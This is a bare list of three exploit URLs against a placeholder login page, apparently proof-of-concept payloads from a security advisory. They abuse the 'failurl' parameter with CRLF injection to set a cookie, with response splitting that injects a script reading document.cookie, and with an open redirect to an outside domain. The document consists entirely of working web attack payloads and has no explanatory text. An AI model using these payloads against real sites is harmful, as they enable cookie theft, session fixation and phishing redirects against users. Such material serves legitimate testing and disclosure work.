http://www.example.com/login/?user=foo&pass=bar&failurl=%0D%0ASet-Cookie%3A%20Rec=Sec
http://www.example.com/login/?user=foo&pass=bar&failurl=%0D%0AContent-Type:%20text/html%0D%0A%0D%0A%3Cscript%3Ealert%28%22Recognize-Security%20-%20%22%2Bdocument.cookie%29;%3C/script%3E%3C!--
http://www.example.com/login/?user=foo&pass=bar&failurl=http://www.rec-sec.com